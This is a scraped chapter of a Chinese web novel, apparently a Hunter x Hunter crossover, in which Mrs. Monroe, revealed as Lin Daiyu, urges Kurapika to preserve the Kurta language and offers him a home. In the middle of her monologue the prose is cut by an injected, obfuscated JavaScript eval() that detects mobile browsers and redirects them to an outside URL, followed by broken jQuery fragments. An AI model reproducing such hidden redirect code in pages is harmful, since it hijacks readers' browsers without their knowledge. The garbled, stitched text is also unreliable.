默认冷灰
24号文字
方正启体

38.第 38 章

作者:冰蛇本书字数:K更新时间:
    “我们根本不属于这里,那些汉语的诗句中,歌曲中,唱到的那些人,那些国家,那些历史,不是传说,也不是埋没在什么角落……他们真实地存在过,只是不是在这里。”


    “曾经我以为我足够不幸。在我的世界里,我曾经是众星捧月的大小姐,其实,我们那个世界极度的重男轻女,大部分女孩子被关在家里。而我可以像男孩子一样,骑马,出门,但是,我在很小的时候就失去了母亲,然后是父亲。后来我被寄养在亲戚的家里,再没有之前的自由。其实要说日子差,也没多差,我依然住着华丽的房子,依然有成群的奴仆服侍。可是,那不是我的家,我心心念念的想要一个家……后来,我不知道为什么就来到这里。我曾经不明白上天为什么如此对我,我都没有家了,为什么甚至连最后的一片落脚地都要夺走,要让我彻底的失去一切,我甚至连死在自己家乡的机会都没有。”


    “我的运气很好,我遇到了安塞尔,他重新给了我一个家。”


    “即便我过得很好,我心里依然会难过,我想念我的父亲想念我的母亲,我……”她垂下头:“人总是贪心不足的。我曾经心心念念想要有个自己的家,在这里,我重新有了家。可我心里总是空了一块儿,你看,人总是贪心的,得到了想要的东西之后,就会贪心的想要更多……”


    “酷拉皮卡,你大概想不到,你对我的意义是什么。”


    “安塞尔提起你的时候说了一件事,他说你善良的过火,哪怕杀死的是双手沾满鲜血的罪人,你的仇人,你也会十分不安,你似乎永远无法善待自己,你的孤独让人心碎,哪怕有再多的朋友,你也依然经常会在大家看不见的角落念起你故乡的诗。”


    “我问他,你念的是什么样诗句。”


    “安塞尔说他不知道,他说,这世界上不会有人知道了——因为酷拉皮卡是最后的窟卢塔族人,再没有人能够听懂他用母语讲什么了。”


    “我就是在那一天才彻底意识到自己的幸运。”


    “我来到这世界遇到的第一个人是安塞尔,我没法想象,如果他完全不懂汉语,我是否还能活下去,像我这样甚至连给自己梳头发都不会的人,在受到那样的惊吓的情况下,来到一个完全无法沟通的世界……我想,我怕是活不下去的。”


    “酷拉皮卡,这里甚至不是我所属的世界,可是却有人听懂我的话,甚至能找到故乡的的痕迹。你知道这是怎样的幸运?。


    “我比你幸运。”


    “但是这种幸运不仅仅是我运气好,更是因为在我之前,那些不幸被卷到这个世界里的前辈没有放弃自己。他们的数量不多,可每一个都拼尽全力的在这里留下自己的痕迹。”


    “我能找到的最早的汉人的痕迹是伟大的念能力符咒宗师李嘎娃,这名字挺幽默是吧……其实我从小就听过他的名字,他的真名应该是李耳,耳的意思就是耳朵也就是“嘎娃”,他把音译跟意译组合到成为了他在这里的新名字。他在这里只有老年形象出现的记载,那是当然的,因为他离开我们那里的时候就是个老人了。他留下的那篇道德经,成为汉字符篆学的基础……而实际上这本书,在我们那里也是很出名的,我很开心在这里看到了后续,我们那里只有五千多字,而这里居然能找到他给自己的批注。他走遍大江南北,后来出游后失踪……那时候他已经是个老人了,浪漫主义者认为他得到了自己的“道”,去了天上,而大部分人认为,他应该是因为衰老与疾病,死在了路上。谁能想到呢,他居然来到这里。”


    “还有那个著名的符咒学大师白录,这么一个自己不懂念力的人却可以成为最强的符咒学大师,其力量来自于他的精湛的书法,这个人,如果留在我们的世界,一定会是个杰出的书法大师,但他来到了这个世界,他不快乐,虽然他功成名就,可是他写的每一个字都不快乐,他似乎在用每一笔每一划撕心裂肺地喊着他想回家,他甚至不懂念力,但他还是努力的把汉字与符咒学相结合,一方面让人们在用文字附着念力的时候有了更规范有效率的书写方式,另一方面——他让更多的人前仆后继地去研究汉字。”


    “可以查到的,离我最近的汉人是个普通的女孩子,就是写下了《女皇与他的宠臣》的作家,你肯定不知道这个作家是谁,她一点都不出名。但是我知道,她跟我是老乡,她写的女皇是我们那个世界存在过的女皇,不过她真的是胡闹,把当时一位著名的大臣写成了女皇的爱宠,我看的时候哭笑不得。但是我知道,她也是用她的法子,留下她来过的痕迹。可惜我来的太晚,她在我到来的前一年去世了。她过的非常不好,身体不好,赚的钱勉强够她住院,但是她还是努力的整理了很多很多我们的故事与历史,让更多人知道。她上学的时候一定是个认真的好学生,她写的那些小说,虽然都天马行空,但是只要涉及严肃的历史事件历史与文化习俗,都不会有半点胡来,她在书里引用的汉语典故,全都是正确的用法,一个字都没用错。”


    “这样的人还有很多很多。”


    “你看,我多幸运,这么多先辈,努力的把我们的语言乃至文化播撒在各个角落,让我这样什么都不会的人在来到这里,随便遇到的一个跟我们没有任何关系的人,都可以沟通。虽然他的汉语真不怎么样,但是至少他能告诉我他没有恶意,可以对我说会带我离开……”


    “在那之前,我一直以为我的幸运是遇到了安塞尔。而当他讲了你的事情之后,我忽然意识到,我的幸运不仅仅是遇到了他,更是因为在我之前,无数个我的故乡的前辈们,他们那么努力的把我们的文字跟语言在这里传播下去,这才让我顺利的融入这里,不但融入这里,而且可以因为汉文化的普及而继续自己民族文化上的研究,甚至称为知名的艺术家。”


    “我无比感激在我之前的族人,尽管在这片大陆的史书上,我竭尽全力,也只能找到他们孤独的影子。他们中的每一个都很孤独,孤独的来,孤独的走,没人知道他们从何而来,他们中的大部分也不知道最后走向了何处。唯一一样的是,他们无论是男是女,是普通人还是念能力高手,都在拼命的留下自己的痕迹,这些孤孤单单的人,拼命用文字,用绘画,用建筑,用衣服,用所有他们可以回忆起的一切,编织出一个叫做‘汉’的传说。”


    “我知道,这个世界对于汉文化的了解依然十分浅薄,真正深层一点的研究很少很少,虽然因为念能力者在符咒学上对于汉字的依赖,但那只是对很少量的文字的研究,大部分文字,会在我死再一次被人们渐渐遗忘,但那又怎么样呢?或者在我之后,甚至会再次有一个像我这样的汉人遗民,流落到这里——他会把这些东西重新翻译出来,让这些文字的含义再一次重见天日。哪怕没有这样一个人也没关系,那其实也挺好,证明不会再有一个如此孤独的人需要把这里当做彼岸。哪怕我是最后的最后,但只要我留下了痕迹。留下了更完整的关于汉字的记载,总有人会认真研究。”


    “在这之前,我真的只想当个艺术家,我觉得那就够了……可是听了你的事情,我觉得我不该止步于此,我还可以做的更多。”


    “我出版了我们那里的幼儿教材千字文作为大家学习汉字的启蒙教材,我正在请人帮忙编撰汉语与五大通用语的互译词典……”


    “从那天起,我就下了一个决心,我要告诉许多人我来过,这个世界有许多和他们一样的人来过,包括我,如果以后还有像我一样的人出现,他们听着我跟之前的那些人的名字,会觉得不那么寂寞。”


    “过去我的各种落款都是蒙洛太太……现在,我会在书籍的编撰者上签上林黛玉这个名字。”


    “酷拉皮卡,我以为这世界上或许你是最应该懂我的人,你明白么,我来到这里,这个世界没有一个人我的亲人,不,连族人都没有。我来到这里,仿佛浮萍,无根的浮萍,我不知道自己会漂到哪里。可是,这世界上没有汉人,却有汉语,你知道我见到外子的第一面时,听到他他嘴里乱七八糟地说出汉语的时候我有多么的惊喜”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444402|167253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “这是我的前人留下的痕迹,我不想让这种痕迹消失,只要文字还在,只要懂这种文字的人还在,我在这里就不寂寞。”


    “□□终会毁灭,而文化永存。”


    “可是酷拉皮卡,要是你死了,这个世界上现存的窟卢塔族的文字研究的水平,真的足以把你们的文化,传承下去么?”


    “甚至没有一个人能够读懂你在念什么,你真的希望,在你死之后,窟卢塔的文化彻底在历史的长河中湮灭么?”


    “对于你的族人来说,他们的安宁是让眼睛归于身体,深埋地下,慢慢地与泥土融为一体。”


    “那么你们的语言你们的文字你们的一切的一切,你希望他们都像你族人的身体一样,深埋地下,慢慢消逝么?”


    “如果在过去的与多年里,曾有人像我一样,穿梭去了其他的地方,然后又回来,他们回来之后,甚至找不到族人曾经存在的痕迹,这不可怕么?”


    蒙洛太太走到酷拉皮卡跟前,她半跪来,抬起头,看向正垂着头不知道在想些什么的酷拉皮卡,她伸出手,就像之前那样,轻轻擦去他的眼泪。


    “我知道你很难过,但是,比起一个人闷在博学之林里发呆,我想,你或许可以干一点别的事情,比如,像我一起,也试着编撰一本更符合现代语言习惯的窟卢塔文的与通用语对照的字典编撰出来?”


    她看着他,并没有催促他回答。


    许久,许久,酷拉皮卡的声音响起:“太太,能麻烦您一件事么?”


    “你说说看。”


    “您能教我汉语么?我也想多学一些你们民族的东西。”


    “好啊!”


    “您可以帮我联系一些语言学的专家么?”


    “好啊!”


    “我可以也让这些人在这里进行编撰工作么?让他们去□□做事也太离谱了。”


    “好啊!”


    “我可以一直住在这里么?”


    “好啊!”


    “太太,您不要这么随便地都答应下来啊!”


    “可你说的,都是很好的事情啊……”蒙洛太太笑了起来:“你看,艾普尔庄园这么大,而我大部分时候,都是自己在这里,你愿意过来,我很开心。”


    “你可以住在这里,你可以叫你的朋友来玩儿……安塞尔肯定也会很高兴你在这里,我会尽量让他多回来家里招待你跟你的朋友的,请你把这里当做自己的家吧!”


    她看着少年忽然变得很一言难尽的表情,快活的笑了起来:“其实安塞尔在你们面前是个坏家伙,对不对?”


    “我猜,你心里是不是在想,这种时候,不要提那个煞风景的家伙啊!”


    “太太!”


    酷拉皮卡无奈地叫道,回应他的是蒙洛太太越发开心的笑声。


    “我早就猜到了,很多时候,你在他面前,那表情好像被强盗抢回家的小姑娘。”


    “你们这些坏家伙,都帮着他骗我,活该被他欺负呢!”蒙洛太太快活地站起来,在地上转了一个圈儿:“我全都知道!我偏不告诉你们——”


    “就让你们被他欺负好了!”


    然后她大声宣布今天的社交结束:“好了!现在,你现在立刻去洗脸刷牙,去睡觉!明天我们一起商量一下字典的事情!”接着,她很干脆地离开了。


    酷拉皮卡目送着蒙洛太太离开,忍不住笑了起来。


    他朝天空看去,一轮微微散发着红光的月亮挂在天上,他才意识到今天居然是绯月日的前夜。


    他想,明天或许可以先去厨房,跟那位了不起的尼派克先生商量一下,做个辣南瓜饼……要知道,绯月日不吃辣南瓜饼实在是太说不过去了。或许还可以跟尼派克先生讨论一下,他们可以一起出一本窟卢塔传统食品的食谱,毕竟好多东西他自己也只知道大概的方法,具体诀窍需要尼派克先生想法子摸索呢。


    派罗,你说得对,没有人总是坏运气的,只要肯坚持下去,总会遇到一些好事情的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)